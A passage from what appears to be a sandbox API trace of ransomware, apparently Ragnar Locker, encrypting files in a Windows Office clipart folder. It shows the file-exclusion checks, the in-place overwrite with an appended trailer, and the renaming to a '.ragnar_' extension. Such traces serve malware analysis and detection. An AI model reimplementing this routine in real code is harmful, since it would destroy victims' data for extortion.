dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.162] CloseHandle (hObject=0xf4) returned 1 [0085.162] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" [0085.162] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.ragnar_FD7BD9FC" [0085.162] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158071.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158071.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.163] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x462e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0158477.WMF", cAlternateFileName="")) returned 1 [0085.163] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.163] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0158477.WMF" | out: lpString1="J0158477.WMF") returned="J0158477.WMF" [0085.163] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned=".WMF" [0085.163] lstrcmpiW (lpString1="J0158477.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.163] lstrcmpiW (lpString1="J0158477.WMF", lpString2="autorun.inf") returned 1 [0085.163] lstrcmpiW (lpString1="J0158477.WMF", lpString2="boot.ini") returned 1 [0085.163] lstrcmpiW (lpString1="J0158477.WMF", lpString2="bootfont.bin") returned 1 [0085.163] lstrcmpiW (lpString1="J0158477.WMF", lpString2="bootsect.bak") returned 1 [0085.163] lstrcmpiW (lpString1="J0158477.WMF", lpString2="bootmgr") returned 1 [0085.163] lstrcmpiW (lpString1="J0158477.WMF", lpString2="bootmgr.efi") returned 1 [0085.163] lstrcmpiW (lpString1="J0158477.WMF", lpString2="bootmgfw.efi") returned 1 [0085.163] lstrcmpiW (lpString1="J0158477.WMF", lpString2="desktop.ini") returned 1 [0085.163] lstrcmpiW (lpString1="J0158477.WMF", lpString2="iconcache.db") returned 1 [0085.163] lstrcmpiW (lpString1="J0158477.WMF", lpString2="ntldr") returned -1 [0085.163] lstrcmpiW (lpString1="J0158477.WMF", lpString2="ntuser.dat") returned -1 [0085.163] lstrcmpiW (lpString1="J0158477.WMF", lpString2="ntuser.dat.log") returned -1 [0085.163] lstrcmpiW (lpString1="J0158477.WMF", lpString2="ntuser.ini") returned -1 [0085.163] lstrcmpiW (lpString1="J0158477.WMF", lpString2="thumbs.db") returned -1 [0085.163] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.163] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.163] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.163] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.163] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.163] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.163] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.163] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf")) returned 0x20 [0085.164] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.164] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17966) returned 1 [0085.164] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4625, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.165] GetProcessHeap () returned 0x580000 [0085.165] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.165] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.166] VirtualAlloc (lpAddress=0x0, dwSize=0x462e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.166] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.166] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.166] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x462e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x462e, lpOverlapped=0x0) returned 1 [0085.167] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.168] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x462e, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.168] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x462e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x462e, lpOverlapped=0x0) returned 1 [0085.168] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x462e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.168] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.168] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x462e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.168] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.168] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.168] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.168] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.168] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.168] GetProcessHeap () returned 0x580000 [0085.169] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.169] CloseHandle (hObject=0xf4) returned 1 [0085.169] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" [0085.169] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.ragnar_FD7BD9FC" [0085.169] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0158477.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.169] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x72de, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0160590.WMF", cAlternateFileName="")) returned 1 [0085.169] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.169] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0160590.WMF" | out: lpString1="J0160590.WMF") returned="J0160590.WMF" [0085.169] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned=".WMF" [0085.169] lstrcmpiW (lpString1="J0160590.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.169] lstrcmpiW (lpString1="J0160590.WMF", lpString2="autorun.inf") returned 1 [0085.170] lstrcmpiW (lpString1="J0160590.WMF", lpString2="boot.ini") returned 1 [0085.170] lstrcmpiW (lpString1="J0160590.WMF", lpString2="bootfont.bin") returned 1 [0085.170] lstrcmpiW (lpString1="J0160590.WMF", lpString2="bootsect.bak") returned 1 [0085.170] lstrcmpiW (lpString1="J0160590.WMF", lpString2="bootmgr") returned 1 [0085.170] lstrcmpiW (lpString1="J0160590.WMF", lpString2="bootmgr.efi") returned 1 [0085.170] lstrcmpiW (lpString1="J0160590.WMF", lpString2="bootmgfw.efi") returned 1 [0085.170] lstrcmpiW (lpString1="J0160590.WMF", lpString2="desktop.ini") returned 1 [0085.170] lstrcmpiW (lpString1="J0160590.WMF", lpString2="iconcache.db") returned 1 [0085.170] lstrcmpiW (lpString1="J0160590.WMF", lpString2="ntldr") returned -1 [0085.170] lstrcmpiW (lpString1="J0160590.WMF", lpString2="ntuser.dat") returned -1 [0085.170] lstrcmpiW (lpString1="J0160590.WMF", lpString2="ntuser.dat.log") returned -1 [0085.170] lstrcmpiW (lpString1="J0160590.WMF", lpString2="ntuser.ini") returned -1 [0085.170] lstrcmpiW (lpString1="J0160590.WMF", lpString2="thumbs.db") returned -1 [0085.170] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.170] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.170] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.170] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.170] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.170] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.170] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.170] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf")) returned 0x20 [0085.171] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.171] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=29406) returned 1 [0085.171] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x72d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.171] GetProcessHeap () returned 0x580000 [0085.171] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.171] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.173] VirtualAlloc (lpAddress=0x0, dwSize=0x72de, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.173] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.173] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.173] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x72de, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x72de, lpOverlapped=0x0) returned 1 [0085.174] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.174] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x72de, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.174] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x72de, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x72de, lpOverlapped=0x0) returned 1 [0085.175] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x72de, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.175] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.175] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x72de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.175] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.175] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.175] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.175] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.175] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.175] GetProcessHeap () returned 0x580000 [0085.175] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.175] CloseHandle (hObject=0xf4) returned 1 [0085.175] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" [0085.175] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.ragnar_FD7BD9FC" [0085.175] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.176] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb594, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0164153.JPG", cAlternateFileName="")) returned 1 [0085.176] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.176] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0164153.JPG" | out: lpString1="J0164153.JPG") returned="J0164153.JPG" [0085.176] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned=".JPG" [0085.176] lstrcmpiW (lpString1="J0164153.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.176] lstrcmpiW (lpString1="J0164153.JPG", lpString2="autorun.inf") returned 1 [0085.176] lstrcmpiW (lpString1="J0164153.JPG", lpString2="boot.ini") returned 1 [0085.176] lstrcmpiW (lpString1="J0164153.JPG", lpString2="bootfont.bin") returned 1 [0085.176] lstrcmpiW (lpString1="J0164153.JPG", lpString2="bootsect.bak") returned 1 [0085.176] lstrcmpiW (lpString1="J0164153.JPG", lpString2="bootmgr") returned 1 [0085.176] lstrcmpiW (lpString1="J0164153.JPG", lpString2="bootmgr.efi") returned 1 [0085.176] lstrcmpiW (lpString1="J0164153.JPG", lpString2="bootmgfw.efi") returned 1 [0085.176] lstrcmpiW (lpString1="J0164153.JPG", lpString2="desktop.ini") returned 1 [0085.176] lstrcmpiW (lpString1="J0164153.JPG", lpString2="iconcache.db") returned 1 [0085.176] lstrcmpiW (lpString1="J0164153.JPG", lpString2="ntldr") returned -1 [0085.176] lstrcmpiW (lpString1="J0164153.JPG", lpString2="ntuser.dat") returned -1 [0085.176] lstrcmpiW (lpString1="J0164153.JPG", lpString2="ntuser.dat.log") returned -1 [0085.177] lstrcmpiW (lpString1="J0164153.JPG", lpString2="ntuser.ini") returned -1 [0085.177] lstrcmpiW (lpString1="J0164153.JPG", lpString2="thumbs.db") returned -1 [0085.177] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0085.177] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0085.177] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0085.177] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0085.177] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0085.177] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0085.177] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0085.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg")) returned 0x20 [0085.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.177] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=46484) returned 1 [0085.177] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb58b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.177] GetProcessHeap () returned 0x580000 [0085.177] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.177] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.179] VirtualAlloc (lpAddress=0x0, dwSize=0xb594, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.179] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.179] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.179] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb594, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb594, lpOverlapped=0x0) returned 1 [0085.181] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.181] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb594, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.181] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb594, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb594, lpOverlapped=0x0) returned 1 [0085.181] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb594, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.181] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.182] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.182] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.182] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.182] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.182] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.182] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.182] GetProcessHeap () returned 0x580000 [0085.182] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.182] CloseHandle (hObject=0xf4) returned 1 [0085.182] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" [0085.182] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.ragnar_FD7BD9FC" [0085.182] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), 